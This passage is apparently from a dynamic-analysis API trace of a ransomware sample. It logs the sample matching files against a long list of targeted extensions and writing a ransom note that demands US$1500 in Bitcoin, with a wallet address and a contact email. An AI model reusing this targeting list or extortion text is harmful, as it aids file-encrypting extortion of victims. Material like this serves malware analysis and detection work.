1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.615] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.615] CloseHandle (hObject=0xffffffff) returned 0 [0125.615] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="CL_Utility.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1" [0125.615] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.ems") returned 0 [0125.615] lstrlenA (lpString="*.ems") returned 5 [0125.615] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.db") returned 0 [0125.615] lstrlenA (lpString="*.db") returned 4 [0125.615] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.dbf") returned 0 [0125.615] lstrlenA (lpString="*.dbf") returned 5 [0125.615] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.myox") returned 0 [0125.615] lstrlenA (lpString="*.myox") returned 6 [0125.615] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.myo") returned 0 [0125.615] lstrlenA (lpString="*.myo") returned 5 [0125.616] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.qbw") returned 0 [0125.616] lstrlenA (lpString="*.qbw") returned 5 [0125.616] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.qbb") returned 0 [0125.616] lstrlenA (lpString="*.qbb") returned 5 [0125.616] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.qbm") returned 0 [0125.616] lstrlenA (lpString="*.qbm") returned 5 [0125.616] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.qbo") returned 0 [0125.616] lstrlenA (lpString="*.qbo") returned 5 [0125.616] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.qbx") returned 0 [0125.616] lstrlenA (lpString="*.qbx") returned 5 [0125.616] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.qba") returned 0 [0125.616] lstrlenA (lpString="*.qba") returned 5 [0125.616] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.qby") returned 0 [0125.616] lstrlenA (lpString="*.qby") returned 5 [0125.616] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.qbj") returned 0 [0125.616] lstrlenA (lpString="*.qbj") returned 5 [0125.616] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.ofx") returned 0 [0125.617] lstrlenA (lpString="*.ofx") returned 5 [0125.617] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.qif") returned 0 [0125.617] lstrlenA (lpString="*.qif") returned 5 [0125.617] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.mye") returned 0 [0125.617] lstrlenA (lpString="*.mye") returned 5 [0125.617] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.mbox") returned 0 [0125.617] lstrlenA (lpString="*.mbox") returned 6 [0125.617] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.eml") returned 0 [0125.617] lstrlenA (lpString="*.eml") returned 5 [0125.617] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.pst") returned 0 [0125.617] lstrlenA (lpString="*.pst") returned 5 [0125.617] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.ost") returned 0 [0125.617] lstrlenA (lpString="*.ost") returned 5 [0125.617] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.idx") returned 0 [0125.617] lstrlenA (lpString="*.idx") returned 5 [0125.617] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.dbx") returned 0 [0125.617] lstrlenA (lpString="*.dbx") returned 5 [0125.617] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.sql") returned 0 [0125.617] lstrlenA (lpString="*.sql") returned 5 [0125.617] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.mdb") returned 0 [0125.618] lstrlenA (lpString="*.mdb") returned 5 [0125.618] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.fdb") returned 0 [0125.618] lstrlenA (lpString="*.fdb") returned 5 [0125.618] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.wab") returned 0 [0125.618] lstrlenA (lpString="*.wab") returned 5 [0125.618] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.dat") returned 0 [0125.618] lstrlenA (lpString="*.dat") returned 5 [0125.618] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.txt") returned 0 [0125.618] lstrlenA (lpString="*.txt") returned 5 [0125.618] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.jpeg") returned 0 [0125.618] lstrlenA (lpString="*.jpeg") returned 6 [0125.618] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.jpg") returned 0 [0125.618] lstrlenA (lpString="*.jpg") returned 5 [0125.618] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.png") returned 0 [0125.618] lstrlenA (lpString="*.png") returned 5 [0125.618] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.php") returned 0 [0125.618] lstrlenA (lpString="*.php") returned 5 [0125.618] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.cs") returned 0 [0125.618] lstrlenA (lpString="*.cs") returned 4 [0125.619] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.cpp") returned 0 [0125.619] lstrlenA (lpString="*.cpp") returned 5 [0125.619] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.rar") returned 0 [0125.619] lstrlenA (lpString="*.rar") returned 5 [0125.619] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.zip") returned 0 [0125.619] lstrlenA (lpString="*.zip") returned 5 [0125.619] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.html") returned 0 [0125.619] lstrlenA (lpString="*.html") returned 6 [0125.619] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.htm") returned 0 [0125.619] lstrlenA (lpString="*.htm") returned 5 [0125.619] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.xlsx") returned 0 [0125.619] lstrlenA (lpString="*.xlsx") returned 6 [0125.619] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.xls") returned 0 [0125.619] lstrlenA (lpString="*.xls") returned 5 [0125.619] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.mp4") returned 0 [0125.619] lstrlenA (lpString="*.mp4") returned 5 [0125.619] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.ppt") returned 0 [0125.619] lstrlenA (lpString="*.ppt") returned 5 [0125.619] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.pptx") returned 0 [0125.620] lstrlenA (lpString="*.pptx") returned 6 [0125.620] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.doc") returned 0 [0125.620] lstrlenA (lpString="*.doc") returned 5 [0125.620] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.dot") returned 0 [0125.620] lstrlenA (lpString="*.dot") returned 5 [0125.620] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.docx") returned 0 [0125.620] lstrlenA (lpString="*.docx") returned 6 [0125.620] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.7z") returned 0 [0125.620] lstrlenA (lpString="*.7z") returned 4 [0125.620] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.tar") returned 0 [0125.620] lstrlenA (lpString="*.tar") returned 5 [0125.620] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.bz2") returned 0 [0125.620] lstrlenA (lpString="*.bz2") returned 5 [0125.620] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.gz") returned 0 [0125.620] lstrlenA (lpString="*.gz") returned 4 [0125.620] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.mkv") returned 0 [0125.620] lstrlenA (lpString="*.mkv") returned 5 [0125.620] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.eml") returned 0 [0125.620] lstrlenA (lpString="*.eml") returned 5 [0125.620] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.msg") returned 0 [0125.621] lstrlenA (lpString="*.msg") returned 5 [0125.621] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.edb") returned 0 [0125.621] lstrlenA (lpString="*.edb") returned 5 [0125.621] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.accdb") returned 0 [0125.621] lstrlenA (lpString="*.accdb") returned 7 [0125.621] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.odb") returned 0 [0125.621] lstrlenA (lpString="*.odb") returned 5 [0125.621] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.java") returned 0 [0125.621] lstrlenA (lpString="*.java") returned 6 [0125.621] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.asm") returned 0 [0125.621] lstrlenA (lpString="*.asm") returned 5 [0125.621] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.pfx") returned 0 [0125.621] lstrlenA (lpString="*.pfx") returned 5 [0125.621] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.pem") returned 0 [0125.621] lstrlenA (lpString="*.pem") returned 5 [0125.621] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.p12") returned 0 [0125.621] lstrlenA (lpString="*.p12") returned 5 [0125.621] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.gpg") returned 0 [0125.621] lstrlenA (lpString="*.gpg") returned 5 [0125.622] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.vsd") returned 0 [0125.622] lstrlenA (lpString="*.vsd") returned 5 [0125.622] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.odg") returned 0 [0125.622] lstrlenA (lpString="*.odg") returned 5 [0125.622] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.raw") returned 0 [0125.622] lstrlenA (lpString="*.raw") returned 5 [0125.622] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.nef") returned 0 [0125.622] lstrlenA (lpString="*.nef") returned 5 [0125.622] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.svg") returned 0 [0125.622] lstrlenA (lpString="*.svg") returned 5 [0125.622] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.psd") returned 0 [0125.622] lstrlenA (lpString="*.psd") returned 5 [0125.622] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.vmx") returned 0 [0125.622] lstrlenA (lpString="*.vmx") returned 5 [0125.622] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.vmdk") returned 0 [0125.622] lstrlenA (lpString="*.vmdk") returned 6 [0125.622] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.vdi") returned 0 [0125.622] lstrlenA (lpString="*.vdi") returned 5 [0125.622] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.lay6") returned 0 [0125.622] lstrlenA (lpString="*.lay6") returned 6 [0125.623] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.mpeg") returned 0 [0125.623] lstrlenA (lpString="*.mpeg") returned 6 [0125.623] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.djvu") returned 0 [0125.623] lstrlenA (lpString="*.djvu") returned 6 [0125.623] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.tiff") returned 0 [0125.623] lstrlenA (lpString="*.tiff") returned 6 [0125.623] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.backup") returned 0 [0125.623] lstrlenA (lpString="*.backup") returned 8 [0125.623] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.pdf") returned 0 [0125.623] lstrlenA (lpString="*.pdf") returned 5 [0125.623] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.cert") returned 0 [0125.623] lstrlenA (lpString="*.cert") returned 6 [0125.623] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.docm") returned 0 [0125.623] lstrlenA (lpString="*.docm") returned 6 [0125.623] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.xlsm") returned 0 [0125.623] lstrlenA (lpString="*.xlsm") returned 6 [0125.623] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.dwg") returned 0 [0125.623] lstrlenA (lpString="*.dwg") returned 5 [0125.624] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.nd") returned 0 [0125.624] lstrlenA (lpString="*.nd") returned 4 [0125.624] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.tlg") returned 0 [0125.624] lstrlenA (lpString="*.tlg") returned 5 [0125.624] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.lgb") returned 0 [0125.624] lstrlenA (lpString="*.lgb") returned 5 [0125.624] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.mov") returned 0 [0125.624] lstrlenA (lpString="*.mov") returned 5 [0125.624] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.xdw") returned 0 [0125.624] lstrlenA (lpString="*.xdw") returned 5 [0125.624] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.ods") returned 0 [0125.624] lstrlenA (lpString="*.ods") returned 5 [0125.624] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.wav") returned 0 [0125.624] lstrlenA (lpString="*.wav") returned 5 [0125.624] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.mp3") returned 0 [0125.624] lstrlenA (lpString="*.mp3") returned 5 [0125.624] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.aiff") returned 0 [0125.624] lstrlenA (lpString="*.aiff") returned 6 [0125.625] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.flac") returned 0 [0125.625] lstrlenA (lpString="*.flac") returned 6 [0125.625] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.m4a") returned 0 [0125.625] lstrlenA (lpString="*.m4a") returned 5 [0125.625] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1", pszSpec="*.csv") returned 0 [0125.625] lstrlenA (lpString="*.csv") returned 5 [0125.625] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x116827a5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x116827a5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x913364bf, ftLastWriteTime.dwHighDateTime=0x1ca03f7, nFileSizeHigh=0x0, nFileSizeLow=0x3bc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0125.625] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.625] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.diagpkg") returned 1 [0125.625] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.diagpkg") returned 1 [0125.625] lstrcmpiA (lpString1="", lpString2="DiagPackage.diagpkg") returned -1 [0125.625] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\CL_Utility.ps1") returned="CL_Utility.ps1" [0125.625] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.625] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.625] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.625] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.626] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.626] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.626] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.626] CloseHandle (hObject=0xffffffff) returned 0 [0125.626] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg" [0125.626] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.ems") returned 0 [0125.626] lstrlenA (lpString="*.ems") returned 5 [0125.626] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.db") returned 0 [0125.626] lstrlenA (lpString="*.db") returned 4 [0125.627] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.dbf") returned 0 [0125.627] lstrlenA (lpString="*.dbf") returned 5 [0125.627] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.myox") returned 0 [0125.627] lstrlenA (lpString="*.myox") returned 6 [0125.627] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.myo") returned 0 [0125.627] lstrlenA (lpString="*.myo") returned 5 [0125.627] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.qbw") returned 0 [0125.627] lstrlenA (lpString="*.qbw") returned 5 [0125.627] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.qbb") returned 0 [0125.627] lstrlenA (lpString="*.qbb") returned 5 [0125.627] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.qbm") returned 0 [0125.627] lstrlenA (lpString="*.qbm") returned 5 [0125.627] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.qbo") returned 0 [0125.627] lstrlenA (lpString="*.qbo") returned 5 [0125.627] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.qbx") returned 0 [0125.627] lstrlenA (lpString="*.qbx") returned 5 [0125.627] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.qba") returned 0 [0125.628] lstrlenA (lpString="*.qba") returned 5 [0125.628] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.qby") returned 0 [0125.628] lstrlenA (lpString="*.qby") returned 5 [0125.628] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.qbj") returned 0 [0125.628] lstrlenA (lpString="*.qbj") returned 5 [0125.628] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.ofx") returned 0 [0125.628] lstrlenA (lpString="*.ofx") returned 5 [0125.628] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.qif") returned 0 [0125.628] lstrlenA (lpString="*.qif") returned 5 [0125.628] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.mye") returned 0 [0125.628] lstrlenA (lpString="*.mye") returned 5 [0125.628] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.mbox") returned 0 [0125.628] lstrlenA (lpString="*.mbox") returned 6 [0125.628] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.eml") returned 0 [0125.628] lstrlenA (lpString="*.eml") returned 5 [0125.628] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.pst") returned 0 [0125.628] lstrlenA (lpString="*.pst") returned 5 [0125.628] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.ost") returned 0 [0125.628] lstrlenA (lpString="*.ost") returned 5 [0125.629] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.idx") returned 0 [0125.629] lstrlenA (lpString="*.idx") returned 5 [0125.629] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.dbx") returned 0 [0125.629] lstrlenA (lpString="*.dbx") returned 5 [0125.629] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.sql") returned 0 [0125.629] lstrlenA (lpString="*.sql") returned 5 [0125.630] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\DiagPackage.diagpkg", pszSpec="*.mdb") returned 0 [0125.630] lstrlenA (lpString="*.mdb") returned 5 [0125.630] PathMatchSpecA 